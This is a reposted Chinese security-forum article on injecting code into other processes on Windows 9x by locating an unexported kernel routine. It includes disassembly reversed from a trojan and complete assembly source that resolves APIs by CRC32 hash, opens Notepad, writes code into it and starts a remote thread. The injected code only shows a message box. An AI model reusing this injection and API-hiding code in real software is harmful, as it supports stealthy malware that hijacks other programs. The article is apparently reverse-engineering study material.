您的位置:首页 > 其它

挖掘操作系统内部未导出函数,将注入进行到底

2007-08-16 09:28 232 查看
作 者: Anskya
时 间: 2006-06-29,15:43
链 接: http://bbs.pediy.com/showthread.php?threadid=28211

InjectCode for Win9x..
文章作者:Anskya
原文出处:看雪论坛
转载请保留版权~谢谢

现在注入方式很多,不过无外复三种:
1.使用映射代码然后创建远程线程
2.利用消息钩子插入DLL两种
3.使用调试API.GetThreadContext,SetThreadContext来改变线程的环境启动代码

4.不过基本上Win9x下差不多都是使用消息钩子挂钩模式
当然EliCZ叔叔发布的~EliRT可以让我们在Win9x下也可以使用
CreateRemoteThread注入函数...这里偶简单的说一下另外一种注入方式
利用系统内部函数进行创建远程线程.

这里我就不多说一大堆理论了~相关文献请参见EliCZ叔叔的文章...
当然这里使用的注入方式~他的文章中并没有提及...

1.原理
[1]定位目标
既然是夸进程的创建进程,首先我们怀疑的就是调试API
他们是如何作到调试远程进程的,比如DebugActiveProcess,
他是如何挂起目标进程的...所以对目标进程进行逆向分析..
(关于次问题请到...exetools里面查看相关文章吧...里面有讨论过)

(一下代码是反汇编DebugActiveProcess函数的...这里贴的是关键部分分析)
其实就在DebugActiveProcess下面几行的位置处...自己分析一下就知道了

代码:--------------------------------------------------------------------------------
; IDA output:
;.text:BFF9490D push 8 ; const
;.text:BFF9490F push edi
;.text:BFF94910 push offset sub_BFF9494D ; thread
;.text:BFF94915 push 0FFFFF000h ; tells kernel to allocate stack
;.text:BFF9491A push edi ; pdb
;.text:BFF9491B call CreateRemoteThread9x; arbitrary name
;0xE8 = call; 0x85 = push edi; 0xFFFF = higher part of 0xFFFFF000

特征码:0E857FFFFh(看不懂吗?自己反一下这个函数就知道了...16进制码...请问IDA这里怎么用???为显示不出...)
--------------------------------------------------------------------------------

至少跟踪发现这个函数不是WIndows导出的函数所以我们不能直接调用这个函数
(至少无法通过GetProcAddress函数搜索出地址来...但是我们完全可以定位函数地址和传入参数...分析代码看下面的文章)

2.定位
知道原理了..开始逆向分析...这里分析的目标是国外的一款非常恐怖的"Trojan"程序
Spirit(反向连接+远程注入代码,上传DLL或者EXE并运行之...体积:1.55k,
还有注册表添加,自删除等功能...支持Win9x下进程插入--一开始就对他很好奇^_^)

关键函数逆向分析部分:OD反出来的...

代码:--------------------------------------------------------------------------------
00400158 68 40000000 push 40
0040015D 68 00300008 push 8003000
00400162 68 D5050000 push 5D5
00400167 57 push edi
00400168 FF15 42144000 call [401442] ; kernel32.VirtualAlloc
0040016E 68 08000000 push 8
00400173 57 push edi
00400174 50 push eax
00400175 57 push edi
00400176 68 D1040000 push 4D1
0040017B 8D15 0E114000 lea edx, [40110E] ;这个地址是需要插入的代码内存地址

00400181 52 push edx
00400182 50 push eax
00400183 56 push esi
00400184 FF15 32144000 call [401432] ; kernel32.WriteProcessMemory
0040018A FF15 3E144000 call [40143E] ; kernel32.GetCurrentProcessId
00400190 64:3305 3000000>xor eax, fs:[30]
00400197 31C3 xor ebx, eax
00400199 8B35 3A144000 mov esi, [40143A] ;kernel32.DebugActiveProcess
0040019F 46 inc esi
004001A0 813E FFFF57E8 cmp dword ptr [esi], E857FFFF ;比较是否是CreateRemoteThread9x内存特征
004001A6 ^ 75 F7 jnz short 0040019F ;不等继续跳转
004001A8 AD lods dword ptr [esi] ;搜索到以后开始获取地址(扫描两次)
004001A9 AD lods dword ptr [esi]
004001AA 01F0 add eax, esi
004001AC 68 00F0FFFF push -1000
004001B1 53 push ebx
004001B2 FFD0 call eax
004001B4 57 push edi
004001B5 50 push eax
004001B6 8B35 2A144000 mov esi, [40142A] ; kernel32.OpenProcess
004001BC 46 inc esi
004001BD 813E 50FF32E8 cmp dword ptr [esi], E832FF50
004001C3 ^ 75 F7 jnz short 004001BC
004001C5 AD lods dword ptr [esi]
004001C6 AD lods dword ptr [esi]
004001C7 01F0 add eax, esi
004001C9 53 push ebx
004001CA FFD0 call eax ;调用此函数
004001CC 61 popad
004001CD C3 retn
--------------------------------------------------------------------------------

3.实现
不用说了吧~上面的代码逆向写一下就OK了...
既然注入代码我们就作全套...

[1]申请远程进程空间(C代码实现)
WinNT下我就不多说了~反正大家都知道的
关键说说Win9x
逆向分析一下中国黑客病毒
(CreateKernelThread创建线程...和
MoveDataToKnl函数(WHG自己写的具体看ChineseHacker代码))

不过他好像不能让我们将代码注入到别的进程内部...
好了Google搜了一下文章...发现Win9x内核下0x8000000以上空间都是透明的?
Why?你最好别问我,我也不知道..我很菜...

所以以上反汇编出来的代码是

代码:--------------------------------------------------------------------------------
00400158 68 40000000 push 40
0040015D 68 00300008 push 8003000
00400162 68 D5050000 push 5D5
00400167 57 push edi
00400168 FF15 42144000 call [401442] ; kernel32.VirtualAlloc
--------------------------------------------------------------------------------

啊~好了...写一下具体代码好了

代码:--------------------------------------------------------------------------------
LPVOID My_VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, DWORD dwSize, DWORD flAllocationType, DWORD

flProtect)
{
if (GetVersion() > 0x80000000)
{
return VirtualAlloc(lpAddress, dwSize, 0x8000000 + MEM_COMMIT, PAGE_EXECUTE_READWRITE);
}else
{
return VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect);
}
}

BOOL My_VirtualFreeEx(HANDLE hProcess, LPVOID lpAddress, DWORD dwSize, DWORD dwFreeType)
{
if (GetVersion() > 0x80000000)
{
return VirtualFree(lpAddress, dwSize, MEM_RELEASE);
}else
{
return VirtualFreeEx(hProcess, lpAddress, dwSize, dwFreeType);
}
}
--------------------------------------------------------------------------------

需要注意的是~在Win9x下申请空间和释放空间以前需要~~OpenProcess
一下....在Win9x下申请空间还有一种方法:SharedMemoryAlloc函数
直接的Windows头部里面好像没有...大家可以从ComCtl32.dll里面导出...
这个函数使用非常简单..就一个参数.申请空间长度...

创建远程线程代码在附件内....(把上面的OD反汇编代码写一遍就OK了~有必要吗???)

具体示例代码看:附件~注入代码到记事本....支持Win9x下注入

参考文献:
[1]EliCZ 的EliRT代码,主页.看雪上有友情连接
[2]y0da 的Invisibility代码,主页.看雪上有友情连接

文章作者:Anskya
原文出处:看雪论坛
转载请保留版权~谢谢

终于可以上传了~

代码:--------------------------------------------------------------------------------
;======================================================
;远程线程注入对话框演示 Ex By Anskya
;支持Win9x下代码注入..
;Email:Anskya@Gmail.com
;======================================================
.586
.model flat
locals @@

include /D.N.ASM/include/useful.inc
include /D.N.ASM/include/MZ.INC
include /D.N.ASM/include/PE.INC

.data

notepad db 'Notepad',0

injected:
;int 3
pushad

call @@delta
@@delta:
pop ebp
sub ebp,offset @@delta

push 0
lea eax,[ebp+offset cap]
push eax
lea eax,[ebp+offset msg]
push eax
push 0
call [ebp+__MessageBoxA]

@@Exit:
push 0
call [ebp+__ExitThread]
;_invoke [ebp+__ExitThread],0
popad
ret
;------------------使用数据----------------------------------

msg db "
Hello World Coder! (C) Anskya.",0dh,0ah,0
cap db "MsgBox By Anskya",0

k32_api:
db 'kernel32',0
__ExitThread dd 0058F9201h
__WinExec dd 028452C4Fh
__OpenProcess dd 033D350C4h
__WriteProcessMemory dd 00E9BBAD5h
dd 0

u32_api:
db 'user32',0
__MessageBoxA dd 0D8556CF7h
__FindWindowA dd 085AB3323h
__GetWindowThreadProcessId dd 07B46AF5Eh
dd 0

injected_size equ $-injected

.code

public c entry

entry:
;-------获取相关API函数
lea eax,k32_api
push eax
call get_apicrc

lea eax,u32_api
push eax
call get_apicrc
;-------获取完毕-------执行主函数部分
;call injected

push 5
push offset notepad
call __WinExec

push 0
push offset notepad
call __FindWindowA ;获取窗口句柄

push eax
push esp
push eax
call __GetWindowThreadProcessId
pop eax
mov ebx,eax

push eax
push 0
push 1f0fffh ;PROCESS_ALL_ACCESS
call __OpenProcess
mov ebp,eax

push 40h ;PAGE_EXECUTE_READWRITE
push 3000h ;MEM_COMMIT or MEM_RESERVE
push injected_size
push 0
push ebp ;pid
call RT32_VirtualAllocEx
mov edi,eax

push eax
push esp
push injected_size
lea eax,injected
push eax
push edi
push ebp
call __WriteProcessMemory
pop eax

push eax
push esp
push 0
push esi
push edi
push 0
push 0
push ebx
call RT32_CreateRemoteThread
pop ecx

ExitProc:
push 0
callw ExitProcess

ret

;-------使用函数地址
RT32_VirtualAllocEx:
pushad
mov ebx,[esp+8*4+4]
mov ebp,[esp+8*4+8]
mov edx,[esp+8*4+12]
mov esi,[esp+8*4+16]
mov edi,[esp+8*4+20]
call get_k32base
mov ecx,cs
xor cl,cl
jecxz @@os_nt
@@os_9x:
push edi
or esi,8000000h
push esi
push edx
push ebp
push 04402890Eh ;VirtualAlloc
push eax
call get_addr32crc
call eax
jmp @@finished
@@os_nt:
push 0DA89FC22h ;VirtualAllocEx
push eax
call get_addr32crc
push edi
push esi
push edx
push ebp
push ebx
call eax
@@finished:
mov [esp+pushad_eax],eax
popad
ret 4*5

RT32_CreateRemoteThread:
pushad
mov ebp,[esp+8*4+4]
call get_k32base
mov esi,eax
push ebp
push 0
push 1f0fffh ;PROCESS_ALL_ACCESS
push 033D350C4h ;OpenProcess
push esi
call get_addr32crc
call eax
mov ebx,eax

push 0CF4A7F65h ;CreateRemoteThread
push esi
call get_addr32crc
mov ecx,cs
xor cl,cl
jecxz @@os_nt
@@os_9x:
call get_obfs
xor ebp,eax

call search_crt9x
jnc @@error
mov esi,eax

mov edi,[esp+8*4+16]
mov eax,[esp+8*4+20]
push 8
push eax
push edi
push 0fffff000h
push ebp
call esi

push eax
call search_halloc9x
jnc @@error
mov edx,eax
pop eax

push 0
push eax
push ebp
call edx
jmp @@finished
@@os_nt:
; push dwo [esp+8*4+28+ 0]
; push dwo [esp+8*4+24+ 4]
; push dwo [esp+8*4+20+ 8]
; push dwo [esp+8*4+16+12]
; push dwo [esp+8*4+12+16]
; push dwo [esp+8*4+8 +20]
push 6
pop ecx
@@loop_push:
push dwo [esp+8*4+28]
loop @@loop_push
push ebx
call eax
@@finished:
mov [esp+pushad_eax],eax
popad
ret 4*7
@@error:
sub eax,eax
dec eax
mov [esp+pushad_eax],eax
popad
ret 4*7

get_obfs:
pushad
push 0EB1CE85Ch ;GetCurrentProcessId
call get_k32base
push eax
call get_addr32crc
call eax
mov ebx,eax
mov eax,fs:[30h]
xor eax,ebx
mov [esp+pushad_eax],eax
popad
retn

search_halloc9x:
pushad

call get_k32base
push 033D350C4h ;OpenProcess
push eax
call get_addr32crc
mov esi,eax

mov eax,0E832ff50h
jmp search_compare

search_crt9x:
pushad

call get_k32base
push 07FC598E3h ;DebugActiveProcess
push eax
call get_addr32crc
mov esi,eax

; IDA output:
;.text:BFF9490D push 8 ; const
;.text:BFF9490F push edi
;.text:BFF94910 push offset sub_BFF9494D ; thread
;.text:BFF94915 push 0FFFFF000h ; tells kernel to allocate stack
;.text:BFF9491A push edi ; pdb
;.text:BFF9491B call CreateRemoteThread9x; arbitrary name
;0xE8 = call; 0x85 = push edi; 0xFFFF = higher part of 0xFFFFF000

; mov eax,0fffff000h
mov eax,0E857FFFFh

; DEBUG: CloseHandle
; mov eax,0E8560002h
search_compare:
sub ecx,ecx
mov cl,255 ;approx. size of DebugActiveProcess, just in case
@@compare:
cmp eax,[esi]
jz @@save
inc esi
dec ecx
jecxz @@exit
jmp @@compare
@@save:
lodsd
lodsd ;eax = relative address of CreateRemoteThread9x()
add eax,esi ;absolute address
mov [esp+pushad_eax],eax
stc
@@exit:
popad
retn

;--------The End~~~[^_^]
get_apicrc:
pushad
mov esi,[esp+8*4+4]
call get_k32base
push 04134D1ADh ;LoadLibraryA
push eax
call get_addr32crc

push esi
call eax
mov ebx,eax

sub eax,eax
lodsb
test al,al
jnz $-3
mov edi,esi

@@loop:
lodsd
test eax,eax
jz @@end
push eax
push ebx
call get_addr32crc
stosd
jmp @@loop
@@end:
popad
retn 4

;void* get_addr32crc(DWORD base, DWORD crc32)
get_addr32crc:
pushad
mov ebx,[esp+8*4+4]
mov esi,[esp+8*4+8]

sub ebp,ebp ;counter
mov edx,ebx
add edx,[edx.mz_neptr]
mov edx,[edx.pe_exportrva]
add edx,ebx

mov eax,[edx.ex_numofnamepointers]
mov edi,[edx.ex_addresstablerva]
add edi,ebx
mov edi,[edx.ex_namepointersrva]
add edi,ebx

push edx
mov edx,edi

@@next:
mov edx,[edi]
add edx,ebx

inc ebp
pushad
mov esi,edx
sub ecx,ecx
lodsb
inc ecx
test al,al
jnz $-4
mov [esp+pushad_ecx],ecx
popad

@@cmpstr:
pushad
; mov edx,edx
sub eax,eax
call xcrc32
cmp eax,esi
popad
jz @@found

; push eax
; sub eax,eax
; scasb
; jnz $-1
; pop eax
add edi,4
dec eax
jz @@error
jmp @@next
@@found:
pop edx
dec ebp

mov ecx,[edx.ex_ordinaltablerva]
add ecx,ebx
movzx eax,wo [ecx+ebp*2]
mov ebp,[edx.ex_addresstablerva]
add ebp,ebx
mov eax,[ebp+eax*4]
add eax,ebx
@@error:
mov [esp+pushad_eax],eax
popad
ret 4*2

;void* get_k32base();
get_k32base:
pushad
sub eax,eax
mov eax,fs:[eax+30h]
test eax,eax
js @@os_9x
@@os_nt:
mov eax,[eax+0ch]
mov esi,[eax+1ch]
lodsd
mov eax,[eax+8]
jmp @@finished
@@os_9x:
mov eax,[eax+34h]
lea eax,[eax+7ch]
mov eax,[eax+3ch]
@@finished:
mov [esp+pushad_eax],eax
popad
retn

; zhengxi's crc32(): optimised by Vecna
; input: EDX=data, ECX=size, EAX=crc
; output: EAX=crc, EDX+=ECX, ECX=BL=0
xcrc32:
pushad
jecxz @@4
not eax
@@1:
xor al, [edx]
inc edx
mov bl, 8
@@2:
shr eax, 1
jnc @@3
xor eax, 0EDB88320h
@@3:
dec bl
jnz @@2
loop @@1
not eax
@@4:
mov [esp+pushad_eax],eax
popad
ret

end
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: